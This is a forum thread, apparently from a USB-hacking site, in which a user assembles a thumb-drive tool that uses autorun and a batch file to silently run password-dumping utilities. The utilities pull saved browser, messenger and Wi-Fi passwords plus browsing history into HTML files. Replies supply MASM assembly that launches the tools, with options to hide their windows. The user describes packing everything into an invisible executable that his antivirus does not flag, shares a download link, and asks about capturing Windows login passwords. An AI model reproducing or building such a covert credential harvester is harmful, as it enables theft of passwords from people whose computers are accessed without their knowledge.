Jump to content

how do i hide cmd box


mrgee

Recommended Posts

i have put some little apps on my thum drive

iehistoryview

messenpass

passwordfox

iepassview

wirlesskeyview

mozillahistoryview

ive created a launch.bat and an autrorn.inf and it works and does what i want but is the anyway of hiding the cmd box that briefly apears on screen for about 3 secconds ?

these are the command i have in my launch.bat

start WirelessKeyView\WirelessKeyView.exe /shtml WirelessKeyop.html

start PasswordFox\PasswordFox.exe /shtml PasswordFoxop.html

start IEHistoryView\iehv.exe /shtml iehvop.html

start MozillaHistoryView\MozillaHistoryView.exe /shtml MozillaHistoryop.html

start MessenPass\mspass.exe /shtml mspassop.html

start IEPassView\iepv.exe /shtml iepvop.html

i would like the cmd box that is apearing at the moment to be iethere invisible or minimised

hope you can help .thanks

would also like to add an little program that would save windows login and password details if possible ?

thanks

Link to comment
Share on other sites

Why don't you look at the pocketknife's code and figure it out.

considering i didnt know how to create an auto run file let alone a batch file a couple of days ago i have now managed to create

one .exe file with the bellow apps embeded that in one click will collect all the info of all apps silently .

ive named it usb-slave ( dont ask why ) and put it onto portable apps software so whenever i want to run it i just click usb-slave on portable apps and it runs silently apart from wirelesskeyview. thats sets of user acount controll

iehistoryview

messenpass

passwordfox

iepassview

wirlesskeyview

mozillahistoryview

no great feat by a long shot but it does what i want :)

Link to comment
Share on other sites

but doesn't it get detected by avs?

well my nod32 dont pic it up

heres a link if you want to try it

http://rapidshare.com/files/150280336/usb-slave.exe.html

whatever folder you run it from is where it will put the results .

you could put it into pstart and select it to auto run .

i dont have it set to autorun as that will overwrite the previous results and i dont know how to make it dump the results into differnt named folders but it works a treat

Link to comment
Share on other sites

Well even though you solved it. You didn't say how you did it... Anyway here's how I would of done it.

I'm thinking that the apps themselves don't create any windows, the only thing creating the window is the batch file. Correct? either way, its pretty easy to hide any window.

What you could've done, is instead of using a batch file, use a small program which just runs those apps with those parameters.

You can either use ShellExecute, or Winexec...

HINSTANCE ShellExecute(      
    HWND hwnd,
    LPCTSTR lpOperation,
    LPCTSTR lpFile,
    LPCTSTR lpParameters,
    LPCTSTR lpDirectory,
    INT nShowCmd
);

UINT WINAPI WinExec(
  __in  LPCSTR lpCmdLine,
  __in  UINT uCmdShow
);

Either one will do the job just fine, and they both allow parameters to be passed, and they both allow for the windows initial state to be passed as well... ex SW_SHOWNORMAL, SW_HIDE, SW_MINIMIZE

use this as a reference to the different parameters you can give:

http://msdn.microsoft.com/en-us/library/ms633548.aspx

However if those apps don't create any windows to begin with (which I think is the case) then it doesn't matter what you give the nCmdShow, or uCmdShow since there wont be a window anyway...

I used assembly since there isn't anything to it, might as well get the smallest possible file size...

::runonerunall.asm::

; ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
    include \masm32\include\masm32rt.inc
; ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

    .data
      openstr   db 'open',0
      hInstance dd 0

    .code

; ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

start:
      invoke GetModuleHandle, 0
      mov hInstance, eax
      call main
      invoke ExitProcess,eax

; ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

main proc

   ;On apps that DO in fact have windows, specifying different
   ;uncomment and try this line below, with a different param for the 2nd parameter
   ;if you do SW_HIDE, the command window will still exist but wont be seen, you'll have to end task on 'cmd.exe' to get rid of it
   ;if you do SW_MINIMIZE, the window will start minimized, SW_SHOWNORMAL, the window will show normally etc...
    
   ;invoke WinExec, SADD("cmd.exe"), SW_SHOWNORMAL


    invoke WinExec, SADD("WirelessKeyView\WirelessKeyView.exe /shtml WirelessKeyop.html"), SW_SHOWNORMAL
    invoke WinExec, SADD("PasswordFox\PasswordFox.exe /shtml PasswordFoxop.html"), SW_SHOWNORMAL
    invoke WinExec, SADD("IEHistoryView\iehv.exe /shtml iehvop.html"), SW_SHOWNORMAL
    invoke WinExec, SADD("MozillaHistoryView\MozillaHistoryView.exe /shtml MozillaHistoryop.html"), SW_SHOWNORMAL
    invoke WinExec, SADD("MessenPass\mspass.exe /shtml mspassop.html"), SW_SHOWNORMAL
    invoke WinExec, SADD("IEPassView\iepv.exe /shtml iepvop.html"), SW_SHOWNORMAL

   ; <-- comments the rest of the line
   ;invoke ShellExecute, 0, addr openstr, SADD("WirelessKeyView\WirelessKeyView.exe"), SADD("/shtml WirelessKeyop.html"), 0, SW_HIDE
   ;invoke ShellExecute, 0, addr openstr, SADD("PasswordFox\PasswordFox.exe"), SADD("/shtml PasswordFoxop.html"), 0, SW_HIDE
   ;invoke ShellExecute, 0, addr openstr, SADD("IEHistoryView\iehv.exe"), SADD("/shtml iehvop.html"), 0, SW_HIDE
   ;invoke ShellExecute, 0, addr openstr, SADD("MozillaHistoryView\MozillaHistoryView.exe"), SADD("/shtml MozillaHistoryop.html"), 0, SW_HIDE
   ;invoke ShellExecute, 0, addr openstr, SADD("MessenPass\mspass.exe"), SADD("/shtml mspassop.html"), 0, SW_HIDE
   ;invoke ShellExecute, 0, addr openstr, SADD("IEPassView\iepv.exe"), SADD("/shtml iepvop.html"), 0, SW_HIDE
    
    ret

main endp

; ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

end start

The top line is an app that does create a window for sure, so that's one you can use to see the SW parameters in action

invoke WinExec, SADD("cmd.exe"), SW_SHOWNORMAL

if you uncomment it and change the SW param then re-assemble it, you'll see how it affects how the window is shown on creation...

I used masm32 version 10 to assemble the program

http://www.masm32.com/

source and binary:

http://rapidshare.com/files/150326810/runonerunall.zip.html

If you want to play around with it, after installing masm32 v10 (if you don't already have it) just create a folder within the masm32 directory (x:\masm32\) called "projects" or something like that, then drop the runonerunall folder within it. Opening runonerunall.asm with qeditor, make your changes and goto Project->Assemble & Link to assemble the new exe with your changes!

2.5KB ;)

Link to comment
Share on other sites

steve this is what ive have

a have a batchfile listed bellow

@echo off

start WirelessKeyView\WirelessKeyView.exe /shtml WirelessKeyop.html

start PasswordFox\PasswordFox.exe /shtml PasswordFoxop.html

start IEHistoryView\iehv.exe /shtml iehvop.html

start MozillaHistoryView\MozillaHistoryView.exe /shtml MozillaHistoryop.html

start MessenPass\mspass.exe /shtml mspassop.html

start IEPassView\iepv.exe /shtml iepvop.html

then i just used a batch complier added the the batch file to the compiler and embedded the files listed above and made a ghost .exe so when you click it it will run invisible

if you need more info ill try do it again but more detailed

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...